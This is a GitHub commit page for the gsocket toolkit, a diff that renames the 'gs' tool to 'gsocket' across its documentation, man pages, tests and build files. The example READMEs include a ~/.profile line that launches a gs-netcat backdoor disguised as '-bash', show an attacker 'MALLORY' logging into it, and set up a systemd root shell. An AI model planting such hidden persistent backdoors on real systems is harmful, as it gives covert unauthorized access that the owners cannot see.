Skip to content

Commit

Permalink
Merge pull request #30 from hackerschoice/rename
Browse files Browse the repository at this point in the history
rename gs to gsocket
  • Loading branch information
rootTHC authored Mar 23, 2021
2 parents d62618e + 5badc89 commit 25e218a
Show file tree
Hide file tree
Showing 17 changed files with 53 additions and 53 deletions.
16 changes: 8 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP
[![Watch the video](https://github.com/hackerschoice/hackerschoice.github.io/blob/master/eeelite-console-blank2.png)](https://www.youtube.com/watch?v=tmf9VGDPILE)

Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE)
Video 2: [Using gs to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc)
Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc)
Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif)

**Features:**
Expand All @@ -22,7 +22,7 @@ Abandon the thought of IP Addresses and Port Numbers. Instead start thinking tha
The GSRN is a free cloud service and is free to use by anyone.

The Global Socket Toolkit comes with a set of tools:
* **gs** - Make an existing program accessible via the GSRN. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. Any connection to a hostname ending in *'\*.gsocket'* is redirected via the GSRN to the listening server.
* **gsocket** - Make an existing program accessible via the GSRN. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. Any connection to a hostname ending in *'\*.gsocket'* is redirected via the GSRN to the listening server.
* **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access.
* **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```)
* **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```)
Expand All @@ -31,10 +31,10 @@ The Global Socket Toolkit comes with a set of tools:

<A></A>|<A></A>
----------|-------------
Download|[gsocket-1.4.26.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v.1.4.26/gsocket-1.4.26.tar.gz) (Linux, MacOS, FreeBSD, Solaris)
Download|[gsocket-1.4.27.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.27/gsocket-1.4.27.tar.gz) (Linux, MacOS, FreeBSD, Solaris)
Debian/Ubuntu| [gsocket_1.4.26_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.26_all.deb)
Windows| use docker (see below)
Man Page| [gs(1)](https://hackerschoice.github.io/gs.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
Docker| docker run --rm -it hackerschoice/gsocket
Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR

Expand All @@ -56,15 +56,15 @@ $ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/hackerschoice/gso

1. SSH from *Workstation B* to *Workstation A* through any firewall/NAT
```
$ gs /usr/sbin/sshd # Workstation A
$ gs ssh root@gsocket # Workstation B
$ gsocket /usr/sbin/sshd # Workstation A
$ gsocket ssh root@gsocket # Workstation B
```
See also: [gs(1)](https://hackerschoice.github.io/gs.1.html)

2. OpenVPN between two firewalled workstations:
```
$ gs openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A
$ gs openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B
$ gsocket openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A
$ gsocket openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B
```
See also: [gs(1)](https://hackerschoice.github.io/gs.1.html)

Expand Down
2 changes: 1 addition & 1 deletion configure.ac
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
dnl Process this File with autoconf to produce a configure script.
AC_PREREQ(2.61)
AC_INIT([gsocket], 1.4.26)
AC_INIT([gsocket], 1.4.27)
dnl AC_CONFIG_AUX_DIR(config-x86_64-apple-darwin19.6.0)
AC_CONFIG_AUX_DIR(config)
AC_CANONICAL_SYSTEM
Expand Down
10 changes: 5 additions & 5 deletions examples/port-forward/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -46,15 +46,15 @@ TCP port 6667 on BOB's workstation is now forwarded to TCP port 6667 on ALICE's
b@BOB:~$ irssi -c 127.0.0.1
```

Alternatively of using two separate commands BOB can use the *gs* tool to start the irc client and automatically forward the connection via the GSRN:
Alternatively of using two separate commands BOB can use the *gsocket* tool to start the irc client and automatically forward the connection via the GSRN:
```ShellSession
b@BOB:~$ gs irssi -c gsocket
b@BOB:~$ gsocket irssi -c blah.gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Irssi v1.2.0-2 - https://irssi.org
06:22 -!- Irssi: Looking up gsocket
06:22 -!- Irssi: Connecting to gsocket [127.31.33.7] port 6667
06:22 -!- Irssi: Looking up blahgsocket
06:22 -!- Irssi: Connecting to blah.gsocket [127.31.33.7] port 6667
[...]
```

Expand All @@ -63,7 +63,7 @@ This is a hypothetical example. Alice can configure the port forward by changing
Alice created a port forward and started the IRCD service. Instead Alice can combine this into a single command:

```ShellSession
alice@ALICE:~$ gs inspircd --nolog --nofork
alice@ALICE:~$ gsocket inspircd --nolog --nofork
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Expand Down
16 changes: 8 additions & 8 deletions examples/sshd/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,21 +8,21 @@ ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither o
Allow user bob on host BOB to log-in with ssh as user bob on host ALICE (without tampering with the firewall, NAT or router settings).

**Solution**
Start sshd and ssh with the *gs* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network.
Start sshd and ssh with the *gsocket* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network.


Let's test the *gs* concept. Start *sshd* on ALICE with the *gs* tool:
Let's test the *gsocket* concept. Start *sshd* on ALICE with the *gsocket* tool:
```ShellSession
root@ALICE:~# gs -s ExampleSecretChangeMe /usr/sbin/sshd -D
root@ALICE:~# gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D
```

The *gs* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22.
The *gsocket* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22.

Anyone with the correct secret (*ExampleSecretChangeMe*) can now connect to this sshd from anywhere in the world. The sshd process will _not_ listen on the default SSHD port 22 but instead on a Global Socket named *ExampleSecretChangeMe*. (On Global Socket we use names and not numbers).

From BOB use the *gs* tool to log in to ALICE:
From BOB use the *gsocket* tool to log in to ALICE:
```ShellSession
bob@BOB:~$ gs ssh bob@gsocket
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Expand Down Expand Up @@ -61,7 +61,7 @@ root@ALICE:~# systemctl enable gs-sshd

Log in to host ALICE from anywhere in the world:
```ShellSession
bob@BOB:~$ gs ssh bob@gsocket
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Expand All @@ -73,7 +73,7 @@ bob@ALICE:~$

Do not use *ExampleSecretChangeMe*. Generate your own secret using the *-g* option:
```ShellSession
$ gs -g
$ gsocket -g
M9BfcYhhG4LujcPTbUcaZN
```

Expand Down
2 changes: 1 addition & 1 deletion examples/sshd/gs-sshd.service
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ ConditionPathExists=!/etc/ssh/sshd_not_to_be_run
[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
ExecStart=gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Expand Down
6 changes: 3 additions & 3 deletions examples/systemd-root-shell/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ Create a random key file:
root@ALICE:~# gs-netcat -g >/etc/systemd/gs-root-shell-key.txt
root@ALICE:~# chmod 600 /etc/systemd/gs-root-shell-key.txt
root@ALICE:~# cat /etc/systemd/gs-root-shell-key.txt
ExampleKeyXXXXChangeMe
ExampleSecretChangeMe
```

Start the service:
Expand All @@ -53,8 +53,8 @@ root@ALICE:~# systemctl status gs-root-shell

Now log-in from "BOB" to "ALICE":
```ShellSession
b@BOB:~$ gs-netcat -s ExampleKeyXXXXChangeMe -i
=Secret : "ExampleKeyXXXXChangeMe"
b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
root@ALICE:~# id
uid=0(root) gid=0(root) groups=0(root)
Expand Down
6 changes: 3 additions & 3 deletions examples/user-shell/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ Start gs-netcat from ALICE's *~/.profile* and do so secretly and silently (witho

On "ALICE" add the following line to the end of *~/.profile*. This will start the gs-netcat backdoor every time that ALICE logs in. The gs-netcat process is hidden as *-bash* and shows up as *-bash* in the process list.
```
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleKeyXXXXChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)
```

Start the backdoor manually for testing. Thereafter the backdoor will start (and remain running) whenever ALICE logs in for the first time:
Expand All @@ -23,8 +23,8 @@ alice@ALICE:~$ source ~/.profile

Now log in from "MALLORY" to "ALICE":
```ShellSession
m@MALLORY:~ $ gs-netcat -s ExampleKeyXXXXChangeMe -i
=Secret : "ExampleKeyXXXXChangeMe"
m@MALLORY:~ $ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
alice@ALICE:~$ id
uid=1001(alice) gid=1001(alice)
Expand Down
14 changes: 7 additions & 7 deletions examples/wireguard/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s AnyKindOfRandomString -Culq -d 127.0.0.1 -p 51820 &
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat
[Peer]
Expand All @@ -51,9 +51,9 @@ AllowedIPs = 10.37.0.2/32

This is a default WireGuard configuration file for a server. The only change is:
```Nginx
PreUp = gs-netcat -s AnyKindOfRandomString -Culq -d 127.0.0.1 -p 51820 &
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
```
This starts a gs-netcat process and redirects any traffic from the Global Socket *AnyKindOfRandomString* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet.
This starts a gs-netcat process and redirects any traffic from the Global Socket *ExampleSecretChangeMe* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet.


Let's take a look at wg-client.conf (BOB):
Expand All @@ -63,7 +63,7 @@ Let's take a look at wg-client.conf (BOB):
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s AnyKindOfRandomString -Cuq -p 31337 &
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
PostDown = killall -g gs-netcat
[Peer]
Expand All @@ -76,14 +76,14 @@ PersistentKeepalive = 25

The only change is:
```Nginx
PreUp = gs-netcat -s AnyKindOfRandomString -Cuq -p 31337 &
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
[...]
EndPoint = 127.0.0.1:31337
```
The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *AnyKindOfRandomString*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE.
The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *ExampleSecretChangeMe*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE.

**Notes**
The gs-netcat secret *AnyKindOfRandomString* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example).
The gs-netcat secret *ExampleSecretChangeMe* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example).

Create your own private/public WireGuard keys (do not use the example):
```ShellSession
Expand Down
2 changes: 1 addition & 1 deletion man/Makefile.am
Original file line number Diff line number Diff line change
@@ -1 +1 @@
dist_man_MANS = gs.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1
dist_man_MANS = gsocket.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1
2 changes: 1 addition & 1 deletion man/blitz.1
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ See
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gs(1) ,
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
Expand Down
2 changes: 1 addition & 1 deletion man/gs-mount.1
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ See
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gs(1) ,
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr blitz(1) ,
Expand Down
2 changes: 1 addition & 1 deletion man/gs-netcat.1
Original file line number Diff line number Diff line change
Expand Up @@ -252,7 +252,7 @@ SRP has Perfect Forward Secrecy. This means that past sessions can not be decryp
The latest version is available from https://github.com/hackerschoice/gsocket/.

.Sh SEE ALSO
.Xr gs(1) ,
.Xr gsocket(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
Expand Down
2 changes: 1 addition & 1 deletion man/gs-sftp.1
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ See
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gs(1) ,
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr sftp(1)
.Pp
Expand Down
File renamed without changes.
22 changes: 11 additions & 11 deletions tests/run_gs_tests.sh
Original file line number Diff line number Diff line change
Expand Up @@ -99,9 +99,9 @@ tests+="7.1 7.2 7.3 7.4 "
tests+="8.1 8.2 8.3 "
tests+="9.1 9.2 9.3 9.4 "
tests+="10.1 10.2 10.3 10.4 " # blitz, gs-sftp, gs-mount
tests+="10.5 " # gs nc
tests+="10.6 " # gs socat
tests+="10.7 " # gs ssh
tests+="10.5 " # gsocket nc
tests+="10.6 " # gsocket socat
tests+="10.7 " # gsocket ssh

if [ x"$1" != x ]; then
tests="$@ "
Expand Down Expand Up @@ -770,8 +770,8 @@ test_start -n "Running: nc #10.5 (stdin)................................."
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
# need sleep 3 on RPI (slow system)
GSPID1="$(sh -c '(cat test4k.dat; sleep 3) | ../tools/gs -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 3) | GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID1="$(sh -c '(cat test4k.dat; sleep 3) | ../tools/gsocket -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 3) | GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
Expand All @@ -780,7 +780,7 @@ $ECHO "${OK}"
fi

if [[ "${tests}" =~ '10.6' ]]; then
test_start -n "Running: gs socat #10.6 (stdin)..........................."
test_start -n "Running: gsocket socat #10.6 (stdin)......................"
if ! socat -h 2>/dev/null | grep socks4 &>/dev/null; then
skip "(no socat)"
elif [[ "$OSTYPE" =~ solaris ]]; then
Expand All @@ -790,8 +790,8 @@ elif [[ "$OSTYPE" =~ solaris ]]; then
else
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
GSPID1="$(sh -c '../tools/gs -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 <test4k.dat 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 <test1k.dat 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID1="$(sh -c '../tools/gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 <test4k.dat 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 <test1k.dat 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
Expand All @@ -801,7 +801,7 @@ fi
fi

if [[ "${tests}" =~ '10.7' ]]; then
test_start -n "Running: gs ssh #10.7 (stdin)............................."
test_start -n "Running: gsocket ssh #10.7 (stdin)........................"
if [[ "$OSTYPE" =~ solaris ]]; then
# Solaris SSHD does not work unless it's run as root (some PAM shit)
# Also needs -4 flag to run as IPv4 only (still, PAM shit afterwards)
Expand All @@ -821,8 +821,8 @@ else
[[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/lib/ssh/sshd"
export SSHD_BIN
[[ -f "$SSHD_BIN" ]] || { echo >&2 "sshd not found"; exit 255; }
GSPID1="$(sh -c '../tools/gs -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID1="$(sh -c '../tools/gsocket -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
[[ -f ~/.ssh/authorized_keys-backup ]] && cp -a ~/.ssh/authorized_keys-backup ~/.ssh/authorized_keys
Expand Down
2 changes: 1 addition & 1 deletion tools/Makefile.am
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ gs_netcat_SOURCES = 4_gs-netcat.c utils.c socks.c console.c ids.c event_mgr.c pk
gs_netcat_LDADD = ../lib/libgsocket.a @LDADD_STATIC@
gs_netcat_CFLAGS = @CFLAGS_STATIC@

dist_bin_SCRIPTS = blitz gs-sftp gs-mount gs_funcs gs
dist_bin_SCRIPTS = blitz gs-sftp gs-mount gs_funcs gsocket

gs_uchroot_so_SOURCES = gs_uchroot.c
gs_uchroot_so_CFLAGS = -shared -fPIC
Expand Down
File renamed without changes.

0 comments on commit 25e218a

Please sign in to comment.